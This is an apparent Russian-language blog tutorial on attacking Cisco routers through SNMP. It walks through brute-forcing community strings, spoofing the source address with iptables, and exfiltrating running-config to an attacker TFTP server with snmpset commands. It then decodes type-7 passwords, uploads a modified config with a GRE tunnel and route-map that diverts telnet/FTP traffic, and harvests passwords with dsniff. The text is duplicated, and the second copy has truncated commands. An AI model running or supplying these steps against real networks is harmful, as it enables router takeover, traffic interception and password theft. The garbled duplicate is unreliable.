Если в качестве доступа к терминалу используется протокол Telnet – это еще половина беды, то использование простых и часто встречающихся имен SNMP-community да еще и без должной фильтрации это вообще полный белый пушистый зверек. Как раз SNMP-сервер маршрутизатора и будет главной нашей точкой атаки, вариантов которой может быть несколько.
Первый вариант доступен нам, если доступ к snmp-агенту атакуемогомаршрутизатора не фильтруется или фильтруется плохо. В таком случае достаточно использовать перебор community-строк по словарю или брутфорсом. К счастью (или опять же, к сожалению =)), snmp-сервер понятия не имеет о том, что такое количество попыток и их лимит, потому перебор можно осуществлять сплошным потоком. Перебор можно осуществлять различными утилитами и, конечно, лучше если это будет самописный скрипт, но использование готового софта тоже приемлемо. Как пример, можно использовать утилиты из состава Solar Wind Engineers Toolset 9.0– комплекта приложений для сетевых инженеров, в состав которого входят утилиты для брутфорсинга snmp-communityстрок и для атаки на них по словарю. Утилиту очень просто найти в пиринговых сетях, надеюсь, это не составит проблем. Пример ее работы можно видеть на рисунке.
Второй вариант доступен нам, если snmp community задана распространенной (а значит легко подбираемой) строкой, но доступ к snmp-агенту надежно фильтруется в списках доступа. Этот вариант мы рассмотрим подробнее, так как он представляет больший интерес и большую сложность по сравнению с первым. Конечно, может быть еще более сложный вариант, состоящий из комбинации первого и второго способа в лучших ее проявлениях, то есть community-string задана правильно и списки доступа надежно настроены. Такой способ является немного более сложным, так как следуя из своей комбинированной защищенности обходится такой же комбинированной атакой, совмещающей в себе перебор community-string и подмену адреса источника. В таком случае серьезную проблему могут составить лишь слишком длинные строки community и неизвестные доверенные адреса.
И так, вернемся все же ко второму варианту. В качестве плацдарма для атаки будем использовать компьютер под управлением ОС Linux (в моем случае это Gentoo Linux 2007.0 c ядром 2.6.23). Для реализации атаки требуется наличие пакета net-snmp и iptables (я использовал версии пакетов 5.4 и 1.3.8 соответственно). Помимо всего прочего в ядре должен быть включен полная трансляция сетевых адресов и отслеживание соединений в виде модулей iptable_nat, ip_conntrack и ip_tables или вкомпилирован в ядро с поддержкой опций примерно так:
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK_ENABLED=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CONNTRACK_IPV4=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_NEEDED=y
После установки всех необходимых пакетов и, при необходимости, пересборки ядра первым делом необходимо добавить правило iptables, которое будет выполнять преобразование сетевых адресов (в нашем случае их подмену). В правиле необходимо указать, что адрес источника всех пакетов, направляющихся по протоколу UDP к SNMP-агенту маршрутизатора ( работающего на 161-м UDP порту ) необходимо заменить на адрес того хоста, который может беспрепятственно использовать SNMP-менеджер для управления и сбора статистики ( читай - админские адреса ). Подобная запись выглядит следующим образом:
iptables -t nat -A POSTROUTING -p udp --dst 10.10.100.200 --dport 161 -j SNAT --to-source 192.168.0.137
здесь —dst — адрес атакуемого маршрутизатора, --to-source — адрес доверенного хоста, который имеет доступ к snmp-агенту. Для полной уверенности в корректности функционирования такой команды рекомендую сделать пробный дамп tcpdump'ом и посмотреть адреса назначения. Скорее всего, у тебя, мой уважаемый читатель, сразу возник вопрос о том, как мы будем получать ответы от SNMP-сервера маршрутизатора (агента). Ответ – никак. Нам это и не требуется. Единственный минус такого расклада – мы не сможем контролировать правильность выполнения команд и быть абсолютно уверенными в том, что мы все делаем правильно: ответы будут уходить доверенному адресу, а мы будет получать таймауты запросов, однако, маршрутизатор при правильно составленных запросах покорно выполнит все что от него требуется. На самом деле это очень похоже на то, как любой из нас ночью добирается до холодильника на кухне – хотя ничего и не видно, дорогу мы знаем прекрасно и всегда можем найти путь в нужное нам назначение =)Такая покорность маршрутизатора обусловлена, как ты догадался, самим принципом работы протокола UDP, так как соединение по UDP на транспортном уровне не устанавливается и мы спокойно может передавать данные не беспокоясь за из доставку и не получая уведомления об той самой успешной доставке.
Естественно, как и в любой другой системе, крупной добычей (хотя и не являющейся главной целью) являются конфигурационные файлы. Операционная система маршрутизаторов Cisco IOS не является исключением и в ней этими конфигурационными файлами могу быть running-config и startup-config главное отличие которых понятно из названия, но разницы между ними в полностью настроенном и автономно функционирующем маршрутизаторе чаще всего нет. Этот конфигурационный файл, описывающий все настройки роутера и будет нашей главной целью при атаке на snmp-community доступной на запись. Получит конфиг можно несколькими способами, но те из которых не доступны по сети мы рассматривать не будем. По сети конфигурационный файл может быть получен по протоколам FTP, TFTP или RSCP. В своем примере я буду использовать протокол TFTP для простоты, в качестве TFTPd будем использовать демон atftpd (я использовал версию 0.7), конфиг будет сохраняться в дефолтной папке tftpd - /tftpboot. Что до SNMP-MIB таблиц, то нас будет интересовать раздел CISCO-CONFIG-COPY-MIB, который доступен в Cisco IOS начиная с 12й ветки, заменив собой устаревшую секцию OLD-CISCO-SYSTEM-MIB.
В полном виде наш сценарий будет выглядеть так:
Укажем, что для передачи данных используем TFTP-протокол:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 integer 1
В качестве целого числа указывается протокол 1 – для TFTP, 2 – для FTP и 3 для RSCP.
Число 666 выбрано случайно и идентифицирует ячейку, в которую мы записываем нашу составную команду для копирования. - имя целевого маршрутизатора или ip-адрес. В моем случае это 172.22.2.1. Далее укажем, что хотим скопировать текущий используемый конфигурационный файл - running-config:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 integer 4
Если указать после integer 1, то IOS будет пытаться копировать файл из сети, находящийся, например, на TFTP, если 2, то любой локальный файл, не являющийся конфигурационным, 3 (startup-config), 4 (running-config), и последний вариант 5 - стандартный терминальный вывод. Третьей командой указываем, что хотим скопировать файл по сети (ccCopyDestFileType INTEGER: networkFile):
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 integer 1
Варианты целочисленного параметра аналогичны предыдущей команде. Четвертой командой назначим адрес TFTP-сервера:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 address <адрес TFTP-сервера>.
В мойм случае это 172.22.1.18. Далее зададим имя фала на TFTP-сервере:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 string victim-config
После того, как команда составленна, можно запускаем копирование:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 1
Для запуск копирования можно указать параметр 1 или 4. Если бы у нас был доступ, могли бы проверить, успешно ли выполненно (возвращен статус 3):
snmpwalk -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.10.666
Однако, как и в случае всех других команд, нам будет возвращен статус:
Timeout: No Response from.
Потому правильность выполнения команды мы будем проверять по наличию в папке /tftpboot появится файл victim-config приемлемого размера. Далее можно подчистить за собой следы — удалить ячейку 666 с всеми нашими командами:
snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 6
Ах да, чуть не забыл - естественно, в качестве community-строки private должно быть имя, заданное на маршрутизаторе.
Перейдем к следующему пункту наших действий — получение терминального доступа к консоли.
В скачанном конфиге нас больше всего интересуют, как это не банально, пароли. Тех самых паролей может быть несколько в разных вариациях:
- пароль на enable режим ( enable password 7 <пароль в виде открытого текста> или enable secret 5 <пароль в MD5> )
- пароль на терминальный доступ:
...
!
line vty 0 15
password 7 <пароль в виде открытого текста>
...
- пароль и имя пользователя ( username <имя пользователя> password 7 <пароль в виде открытого текста> или username <имя пользователя> secret 5 <пароль в MD5> )
Кроме всего вышеназванного, вместо открытого текста в конфигурационном файле может появиться, например, такая строка, пароль которой закодирован в результате применения команды service password-encryption:
password 7 06120A3258
где 06120A3258 — есть ничто иное как пароль открытым текстом - «test». Подобную кодировку назвать шифрованием тяжело, так как алгоритм кодирования ее известен и декодируется, например, утилитой Cain&Abel.
Возвращаясь к конфигурационному файлу атакуемого маршрутизатора, нам не составит труда найти строки, отвечающие за конфигурацию паролей и взломать их перебором или по словарю в Cain или просто декодировать их. Конечно, если пароль задан в MD5, то придется потратить значительное время. Итак, пароль получен! Однако, радоваться еще рано, ведь доступ к виртуальному терминалу может быть ограничен списком доступа, например, так:
...
!
access-list 10 permit 172.22.1.7
access-list 10 deny any
!
...
line vty 0 4
access-class 10 in
password 7 051F031C35
login
!
...
В таком случае решения может быть как минимум два. Первое — попытаться обойти этот стандартный список доступа. Однако трюк, подобный тому что мы провели с SNMP здесь не прокатит по нескольким причинам. как telnet, так и ssh протоколы используют надежный транспортный протокол TCP, который непременно требует установки соединения с помощью трехэтапного рукопожатия SYN<->SYN/ACK<->ACK, кроме того, ответные данные получать нам обязательно, иначе соединение теряет свой смысл. И все же решение такой проблемы есть, но доступно оно лишь в том случае, если атакующий находится в той же самой подсети, что и адреса, доступ которым разрешен по терминалу. Общий смысл сводится либо к простой смене адреса на интерфейсе атакующего, либо к спуфингу IP-адреса и/или MAC-адреса. Моей любимой утилитой, реализующей последнее является sTerm от кодера MAO, создателя Cain&Abel. Скорее всего, разобраться с ней у тебя не составит труда: все что требуется сделать — это задать желаемый IP-адрес и указать, требуется ли спуфить MAC-адрес источника.
Исе же, добраться в нужный сегмент сети, чаще всего, не представляется возможным ибо находится он, в отличие от маршрутизаторов, в DMS за корпоративным аппаратным файрволлом на основе, например, Cisco PIX. Конечно, это устройство тоже подвержено некоторым уязвимостям, но это повод для отдельной статьи. Итак, допустим, мы находимся за много километров и хопов от атакуемого маршрутизатора, и есть конечная цель — собирать пароли пользователей, трафик которых проходит через тот самый маршрутизатор, пачками в благородных целях (для коллекции).
Тогда мы берем другую тактику и снова обратимся к SNMP. Все, что потребуется изменить в предыдущем сценарии — поменять местами источник копирования и назначение, предварительно изменив конфигурационный файл на нашем TFTP. Это способ так же применим, если нам не удалось/не хватило мощности\времени/лениво подобрать пароль. Идея нашей атаки заключается в создании туннеля между атакующим и атакуемым роутером для заворачивания трафика от маршрутизатора к атакующему и последующего его возврата на маршрутизатор. Если ты знаком с базовыми принципами маршрутизации то должен прекрасно понимать, что туннель необходим нам, чтобы адрес следующего пункта назначения находился в той же подсети, что и один из интерфейсов маршрутизатора, через который будет проходить тот самый трафик. В нашем случае это будет самый распространенный интерфейс-туннель, используемый на Cisco роутерах — GRE.
Приблизительную схему атаки ты можешь видеть на рисунке. Открываем любимый текстовый редактор (позор, если это не vim или emacs) и приступаем к редактированию:
!
interface Tunnel0
ip address 10.0.0.1 255.255.255.252
tunnel source 172.22.2.1
tunnel destination 172.22.1.18
!
interface Ethernet0/0
ip address 172.22.2.1 255.255.255.128
ip policy route-map sniff-traffic
!
interface Ethernet0/1
ip address 192.168.0.2 255.255.255.252
ip policy route-map sniff-traffic
!
...
!
access-list 101 permit tcp any any eq telnet
access-list 101 permit tcp any any eq ftp
access-list 101 permit tcp any eq telnet any
access-list 101 permit tcp any eq ftp any
...
route-map sniff-traffic permit 10
match ip address 101
set ip next-hop 10.0.0.2
!
...
Первым делом мы создаем новый интерфейс — Tunnel0, по-умолчанию он имеет тип IP/GRE. В качестве источника укажем один из адресов существующих интерфейсов маршрутизатора, участвующих в процессе форвардинга трафика, а в качестве адреса назначения — адрес атакующего. В моем примере это 172.22.1.18. Далее создаем расширенный список доступа, который может фильтровать трафик, в отличие, от стандартных ACL, не только по ip-адресу источника и укажем, какие протоколы, точнее порты служб, к которым направляется трафик, нас интересуют. Следующим шагом будет создание карты маршрута (route-map), в которой мы сообщаем, что хотим перенаправлять трафик, соответствующий критериям ACL 101 на адрес 10.0.0.2, который впоследствии назначим туннельному интерфейсу на машине атакующего. Ну и наконец, применим карту маршрутов к интерфейсам с помощью политики IP:
ip policy route-map sniff-traffic.
Все. Конфигурация готова, можно заливать ее обратно на маршрутизатор как я это описал выше.
Теперь перейдем к машине атакующего. Для наших целей нам понадобится модуль ядра ip_gre.
Вот что сообщил modinfo об этом модуль в моей системе:
filename: /lib/modules/2.6.23-gentoo-r1/kernel/net/ipv4/ip_gre.ko
license: GPL
depends:
vermagic: 2.6.23-gentoo-r1 mod_unload 686 4KSTACKS
Для загрузки модуля выполним:
modprobe ip_gre
И проверим успешность его подгрузки с помощью команды:
lsmod | grep ip_gre
Если все прошло успешно, то можно приступить к установке пакета iproute2. С помощью него мы будем управлять нашим GRE-туннелем и маршрутизацией. Я использовал версию iproute2-ss070710, чего и тебе советую, на момент написания статьи она была последней. Туннель будет аналогичен тому, что мы создали на маршрутизаторе с тем лишь отличием, что адреса источника и назначения поменяются местами:
ip tunnel add Tunnel0 mode gre remote 172.22.2.1 local 172.22.1.18
Далее назначаем адреса туннелю:
ip addr add 10.0.0.2/30 dev Tunnel0
И поднимаем линк:
ip link set Tunnel0 up
Так как весь трафик нам необходимо возвращать на атакуемый маршрутизатор, то основным шлюзом будет для нас адрес 10.0.0.1. Чтобы не потерять связь с адресом 172.22.2.1 пропишем маршрутизацию к нему тоже:
ip route del default
ip route add default via 10.0.0.1
ip route add 172.22.2.0/25 via 172.22.1.61
Естественно, чтобы была возможность перенаправлять трафик, необходимо такую опцию включить:
echo '1' > /proc/sys/net/ipv4/ip_forward
И проверить, все ли корректно настроено у нас в iptables для цепочки FORWARD.
Теперь все готово для того, чтобы перенаправлять трафик и вытаскивть из него пароли чемоданами. В качестве парольного сниффера я использую dsniff. Запустим его:
dsniff -i Tunnel0 -w ./sniffed_passwords
Через некоторое время файл sniffed_passwords начнет заполняться паролями от FTP и Telnet-сессий, прочитать его можно так:
dsniff -r ./sniffed_passwords
Как говорил Остап Бендер - «Грузите апельсины бочками». На этом всё.
Вместо заключения стоит отметить, что подобный сценарий уже был описан в статье Mati Aharoni, William M. Hidalgo «Cisco SNMP configuration attack with a GRE tunnel» на www.securityfocus.com еще в 2005м году. Однако способ, приведенный авторами, чрезвычайно неудобен, ибо требует наличия маршрутизатора у атакующего и имеет предрасположенность к страшным извращениям с tcpdump'ом. Естественно, маршрутизатор в ближайшем киоске не купишь да и стоит самая простая модель немалых денег. Это первое. А второе — достать жирный канал, который смог бы переварить большой объем проходящего трафика тоже стоит немалых усилий. Ну и третье — скрытность. Понятно, что анонимный root-shell скроет следы атакующего, да и достать его очень просто (но не в соседнем киоске ;)) Всего наилучшего.
Сcылки:
http://www.securityfocus.com/infocus/1847 - Cisco SNMP configuration attack with a GRE tunnel
http://hellknights.void.ru/shados/0x48k_cisco-hacking.avi.bz2 - Видео к статье с конференции Chaos Construction Hack Around 2007
Маршрутизаторы фирмы Cisco Systemsявляются тем, из чего в большинстве своем состоит железная основа сети Интернет сегодня. Их стабильное функционирование является залогом работоспособности Глобальной Сети и потому любая критическая ошибка в их операционной системе может поставить под угрозу работоспособность и связность целых сегментов Интернета.
К счастью (а может и к сожалению), в последнее время критических ошибок в операционной системе маршрутизаторов Cisco- IOS стали находить все меньше(или мне это только кажется? =)), но багов в голове сетевых администраторов от этого, похоже, меньше ничуть не становится. На просторах Дикого Дикого Веба все еще можно встретить роутеры, доступ к которым осуществляется по Telnet, SNMP-communityмаршрутизаторов назначены имена public или private, да еще и списки доступа ни для терминалов, ни для SNMP-сервера не настроены вообще.
Если в качестве доступа к терминалу используется протокол Telnet – это еще половина беды, то использование простых и часто встречающихся имен SNMP-community да еще и без должной фильтрации это вообще полный белый пушистый зверек. Как раз SNMP-сервер маршрутизатора и будет главной нашей точкой атаки, вариантов которой может быть несколько.
Первый вариант доступен нам, если доступ к snmp-агенту атакуемогомаршрутизатора не фильтруется или фильтруется плохо. В таком случае достаточно использовать перебор community-строк по словарю или брутфорсом. К счастью (или опять же, к сожалению =)), snmp-сервер понятия не имеет о том, что такое количество попыток и их лимит, потому перебор можно осуществлять сплошным потоком. Перебор можно осуществлять различными утилитами и, конечно, лучше если это будет самописный скрипт, но использование готового софта тоже приемлемо. Как пример, можно использовать утилиты из состава Solar Wind Engineers Toolset 9.0– комплекта приложений для сетевых инженеров, в состав которого входят утилиты для брутфорсинга snmp-communityстрок и для атаки на них по словарю. Утилиту очень просто найти в пиринговых сетях, надеюсь, это не составит проблем. Пример ее работы можно видеть на рисунке.
Второй вариант доступен нам, если snmp community задана распространенной (а значит легко подбираемой) строкой, но доступ к snmp-агенту надежно фильтруется в списках доступа. Этот вариант мы рассмотрим подробнее, так как он представляет больший интерес и большую сложность по сравнению с первым. Конечно, может быть еще более сложный вариант, состоящий из комбинации первого и второго способа в лучших ее проявлениях, то есть community-string задана правильно и списки доступа надежно настроены. Такой способ является немного более сложным, так как следуя из своей комбинированной защищенности обходится такой же комбинированной атакой, совмещающей в себе перебор community-string и подмену адреса источника. В таком случае серьезную проблему могут составить лишь слишком длинные строки community и неизвестные доверенные адреса.
И так, вернемся все же ко второму варианту. В качестве плацдарма для атаки будем использовать компьютер под управлением ОС Linux (в моем случае это Gentoo Linux 2007.0 c ядром 2.6.23). Для реализации атаки требуется наличие пакета net-snmp и iptables (я использовал версии пакетов 5.4 и 1.3.8 соответственно). Помимо всего прочего в ядре должен быть включен полная трансляция сетевых адресов и отслеживание соединений в виде модулей iptable_nat, ip_conntrack и ip_tables или вкомпилирован в ядро с поддержкой опций примерно так:
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK_ENABLED=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CONNTRACK_IPV4=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_NEEDED=y
После установки всех необходимых пакетов и, при необходимости, пересборки ядра первым делом необходимо добавить правило iptables, которое будет выполнять преобразование сетевых адресов (в нашем случае их подмену). В правиле необходимо указать, что адрес источника всех пакетов, направляющихся по протоколу UDP к SNMP-агенту маршрутизатора ( работающего на 161-м UDP порту ) необходимо заменить на адрес того хоста, который может беспрепятственно использовать SNMP-менеджер для управления и сбора статистики ( читай - админские адреса ). Подобная запись выглядит следующим образом:
iptables -t nat -A POSTROUTING -p udp --dst 10.10.100.200 --dport 161 -j SNAT --to-source 192.168.0.137
здесь —dst — адрес атакуемого маршрутизатора, --to-source — адрес доверенного хоста, который имеет доступ к snmp-агенту. Для полной уверенности в корректности функционирования такой команды рекомендую сделать пробный дамп tcpdump'ом и посмотреть адреса назначения. Скорее всего, у тебя, мой уважаемый читатель, сразу возник вопрос о том, как мы будем получать ответы от SNMP-сервера маршрутизатора (агента). Ответ – никак. Нам это и не требуется. Единственный минус такого расклада – мы не сможем контролировать правильность выполнения команд и быть абсолютно уверенными в том, что мы все делаем правильно: ответы будут уходить доверенному адресу, а мы будет получать таймауты запросов, однако, маршрутизатор при правильно составленных запросах покорно выполнит все что от него требуется. На самом деле это очень похоже на то, как любой из нас ночью добирается до холодильника на кухне – хотя ничего и не видно, дорогу мы знаем прекрасно и всегда можем найти путь в нужное нам назначение =)Такая покорность маршрутизатора обусловлена, как ты догадался, самим принципом работы протокола UDP, так как соединение по UDP на транспортном уровне не устанавливается и мы спокойно может передавать данные не беспокоясь за из доставку и не получая уведомления об той самой успешной доставке.
Естественно, как и в любой другой системе, крупной добычей (хотя и не являющейся главной целью) являются конфигурационные файлы. Операционная система маршрутизаторов Cisco IOS не является исключением и в ней этими конфигурационными файлами могу быть running-config и startup-config главное отличие которых понятно из названия, но разницы между ними в полностью настроенном и автономно функционирующем маршрутизаторе чаще всего нет. Этот конфигурационный файл, описывающий все настройки роутера и будет нашей главной целью при атаке на snmp-community доступной на запись. Получит конфиг можно несколькими способами, но те из которых не доступны по сети мы рассматривать не будем. По сети конфигурационный файл может быть получен по протоколам FTP, TFTP или RSCP. В своем примере я буду использовать протокол TFTP для простоты, в качестве TFTPd будем использовать демон atftpd (я использовал версию 0.7), конфиг будет сохраняться в дефолтной папке tftpd - /tftpboot. Что до SNMP-MIB таблиц, то нас будет интересовать раздел CISCO-CONFIG-COPY-MIB, который доступен в Cisco IOS начиная с 12й ветки, заменив собой устаревшую секцию OLD-CISCO-SYSTEM-MIB.
В полном виде наш сценарий будет выглядеть так:
Укажем, что для передачи данных используем TFTP-протокол:
snmpset -v 1 -c private
В качестве целого числа указывается протокол 1 – для TFTP, 2 – для FTP и 3 для RSCP.
Число 666 выбрано случайно и идентифицирует ячейку, в которую мы записываем нашу составную команду для копирования.
snmpset -v 1 -c private
Если указать после integer 1, то IOS будет пытаться копировать файл из сети, находящийся, например, на TFTP, если 2, то любой локальный файл, не являющийся конфигурационным, 3 (startup-config), 4 (running-config), и последний вариант 5 - стандартный терминальный вывод. Третьей командой указываем, что хотим скопировать файл по сети (ccCopyDestFileType INTEGER: networkFile):
snmpset -v 1 -c private
Варианты целочисленного параметра аналогичны предыдущей команде. Четвертой командой назначим адрес TFTP-сервера:
snmpset -v 1 -c private
В мойм случае это 172.22.1.18. Далее зададим имя фала на TFTP-сервере:
snmpset -v 1 -c private
После того, как команда составленна, можно запускаем копирование:
snmpset -v 1 -c private
Для запуск копирования можно указать параметр 1 или 4. Если бы у нас был доступ, могли бы проверить, успешно ли выполненно (возвращен статус 3):
snmpwalk -v 1 -c private
Однако, как и в случае всех других команд, нам будет возвращен статус:
Timeout: No Response from
Потому правильность выполнения команды мы будем проверять по наличию в папке /tftpboot появится файл victim-config приемлемого размера. Далее можно подчистить за собой следы — удалить ячейку 666 с всеми нашими командами:
snmpset -v 1 -c private
Ах да, чуть не забыл - естественно, в качестве community-строки private должно быть имя, заданное на маршрутизаторе.
Перейдем к следующему пункту наших действий — получение терминального доступа к консоли.
В скачанном конфиге нас больше всего интересуют, как это не банально, пароли. Тех самых паролей может быть несколько в разных вариациях:
- пароль на enable режим ( enable password 7 <пароль в виде открытого текста> или enable secret 5 <пароль в MD5> )
- пароль на терминальный доступ:
...
!
line vty 0 15
password 7 <пароль в виде открытого текста>
...
- пароль и имя пользователя ( username <имя пользователя> password 7 <пароль в виде открытого текста> или username <имя пользователя> secret 5 <пароль в MD5> )
Кроме всего вышеназванного, вместо открытого текста в конфигурационном файле может появиться, например, такая строка, пароль которой закодирован в результате применения команды service password-encryption:
password 7 06120A3258
где 06120A3258 — есть ничто иное как пароль открытым текстом - «test». Подобную кодировку назвать шифрованием тяжело, так как алгоритм кодирования ее известен и декодируется, например, утилитой Cain&Abel.
Возвращаясь к конфигурационному файлу атакуемого маршрутизатора, нам не составит труда найти строки, отвечающие за конфигурацию паролей и взломать их перебором или по словарю в Cain или просто декодировать их. Конечно, если пароль задан в MD5, то придется потратить значительное время. Итак, пароль получен! Однако, радоваться еще рано, ведь доступ к виртуальному терминалу может быть ограничен списком доступа, например, так:
...
!
access-list 10 permit 172.22.1.7
access-list 10 deny any
!
...
line vty 0 4
access-class 10 in
password 7 051F031C35
login
!
...
В таком случае решения может быть как минимум два. Первое — попытаться обойти этот стандартный список доступа. Однако трюк, подобный тому что мы провели с SNMP здесь не прокатит по нескольким причинам. как telnet, так и ssh протоколы используют надежный транспортный протокол TCP, который непременно требует установки соединения с помощью трехэтапного рукопожатия SYN<->SYN/ACK<->ACK, кроме того, ответные данные получать нам обязательно, иначе соединение теряет свой смысл. И все же решение такой проблемы есть, но доступно оно лишь в том случае, если атакующий находится в той же самой подсети, что и адреса, доступ которым разрешен по терминалу. Общий смысл сводится либо к простой смене адреса на интерфейсе атакующего, либо к спуфингу IP-адреса и/или MAC-адреса. Моей любимой утилитой, реализующей последнее является sTerm от кодера MAO, создателя Cain&Abel. Скорее всего, разобраться с ней у тебя не составит труда: все что требуется сделать — это задать желаемый IP-адрес и указать, требуется ли спуфить MAC-адрес источника.
Исе же, добраться в нужный сегмент сети, чаще всего, не представляется возможным ибо находится он, в отличие от маршрутизаторов, в DMS за корпоративным аппаратным файрволлом на основе, например, Cisco PIX. Конечно, это устройство тоже подвержено некоторым уязвимостям, но это повод для отдельной статьи. Итак, допустим, мы находимся за много километров и хопов от атакуемого маршрутизатора, и есть конечная цель — собирать пароли пользователей, трафик которых проходит через тот самый маршрутизатор, пачками в благородных целях (для коллекции).
Тогда мы берем другую тактику и снова обратимся к SNMP. Все, что потребуется изменить в предыдущем сценарии — поменять местами источник копирования и назначение, предварительно изменив конфигурационный файл на нашем TFTP. Это способ так же применим, если нам не удалось/не хватило мощности\времени/лениво подобрать пароль. Идея нашей атаки заключается в создании туннеля между атакующим и атакуемым роутером для заворачивания трафика от маршрутизатора к атакующему и последующего его возврата на маршрутизатор. Если ты знаком с базовыми принципами маршрутизации то должен прекрасно понимать, что туннель необходим нам, чтобы адрес следующего пункта назначения находился в той же подсети, что и один из интерфейсов маршрутизатора, через который будет проходить тот самый трафик. В нашем случае это будет самый распространенный интерфейс-туннель, используемый на Cisco роутерах — GRE.
Приблизительную схему атаки ты можешь видеть на рисунке. Открываем любимый текстовый редактор (позор, если это не vim или emacs) и приступаем к редактированию:
!
interface Tunnel0
ip address 10.0.0.1 255.255.255.252
tunnel source 172.22.2.1
tunnel destination 172.22.1.18
!
interface Ethernet0/0
ip address 172.22.2.1 255.255.255.128
ip policy route-map sniff-traffic
!
interface Ethernet0/1
ip address 192.168.0.2 255.255.255.252
ip policy route-map sniff-traffic
!
...
!
access-list 101 permit tcp any any eq telnet
access-list 101 permit tcp any any eq ftp
access-list 101 permit tcp any eq telnet any
access-list 101 permit tcp any eq ftp any
...
route-map sniff-traffic permit 10
match ip address 101
set ip next-hop 10.0.0.2
!
...
Первым делом мы создаем новый интерфейс — Tunnel0, по-умолчанию он имеет тип IP/GRE. В качестве источника укажем один из адресов существующих интерфейсов маршрутизатора, участвующих в процессе форвардинга трафика, а в качестве адреса назначения — адрес атакующего. В моем примере это 172.22.1.18. Далее создаем расширенный список доступа, который может фильтровать трафик, в отличие, от стандартных ACL, не только по ip-адресу источника и укажем, какие протоколы, точнее порты служб, к которым направляется трафик, нас интересуют. Следующим шагом будет создание карты маршрута (route-map), в которой мы сообщаем, что хотим перенаправлять трафик, соответствующий критериям ACL 101 на адрес 10.0.0.2, который впоследствии назначим туннельному интерфейсу на машине атакующего. Ну и наконец, применим карту маршрутов к интерфейсам с помощью политики IP:
ip policy route-map sniff-traffic.
Все. Конфигурация готова, можно заливать ее обратно на маршрутизатор как я это описал выше.
Теперь перейдем к машине атакующего. Для наших целей нам понадобится модуль ядра ip_gre.
Вот что сообщил modinfo об этом модуль в моей системе:
filename: /lib/modules/2.6.23-gentoo-r1/kernel/net/ipv4/ip_gre.ko
license: GPL
depends:
vermagic: 2.6.23-gentoo-r1 mod_unload 686 4KSTACKS
Для загрузки модуля выполним:
modprobe ip_gre
И проверим успешность его подгрузки с помощью команды:
lsmod | grep ip_gre
Если все прошло успешно, то можно приступить к установке пакета iproute2. С помощью него мы будем управлять нашим GRE-туннелем и маршрутизацией. Я использовал версию iproute2-ss070710, чего и тебе советую, на момент написания статьи она была последней. Туннель будет аналогичен тому, что мы создали на маршрутизаторе с тем лишь отличием, что адреса источника и назначения поменяются местами:
ip tunnel add Tunnel0 mode gre remote 172.22.2.1 local 172.22.1.18
Далее назначаем адреса туннелю:
ip addr add 10.0.0.2/30 dev Tunnel0
И поднимаем линк:
ip link set Tunnel0 up
Так как весь трафик нам необходимо возвращать на атакуемый маршрутизатор, то основным шлюзом будет для нас адрес 10.0.0.1. Чтобы не потерять связь с адресом 172.22.2.1 пропишем маршрутизацию к нему тоже:
ip route del default
ip route add default via 10.0.0.1
ip route add 172.22.2.0/25 via 172.22.1.61
Естественно, чтобы была возможность перенаправлять трафик, необходимо такую опцию включить:
echo '1' > /proc/sys/net/ipv4/ip_forward
И проверить, все ли корректно настроено у нас в iptables для цепочки FORWARD.
Теперь все готово для того, чтобы перенаправлять трафик и вытаскивть из него пароли чемоданами. В качестве парольного сниффера я использую dsniff. Запустим его:
dsniff -i Tunnel0 -w ./sniffed_passwords
Через некоторое время файл sniffed_passwords начнет заполняться паролями от FTP и Telnet-сессий, прочитать его можно так:
dsniff -r ./sniffed_passwords
Как говорил Остап Бендер - «Грузите апельсины бочками». На этом всё.
Вместо заключения стоит отметить, что подобный сценарий уже был описан в статье Mati Aharoni, William M. Hidalgo «Cisco SNMP configuration attack with a GRE tunnel» на www.securityfocus.com еще в 2005м году. Однако способ, приведенный авторами, чрезвычайно неудобен, ибо требует наличия маршрутизатора у атакующего и имеет предрасположенность к страшным извращениям с tcpdump'ом. Естественно, маршрутизатор в ближайшем киоске не купишь да и стоит самая простая модель немалых денег. Это первое. А второе — достать жирный канал, который смог бы переварить большой объем проходящего трафика тоже стоит немалых усилий. Ну и третье — скрытность. Понятно, что анонимный root-shell скроет следы атакующего, да и достать его очень просто (но не в соседнем киоске ;)) Всего наилучшего.
Сcылки:
http://www.securityfocus.com/infocus/1847 - Cisco SNMP configuration attack with a GRE tunnel
http://hellknights.void.ru/shados/0x48k_cisco-hacking.avi.bz2 - Видео к статье с конференции Chaos Construction Hack Around 2007
Подписаться на:
Сообщения (Atom)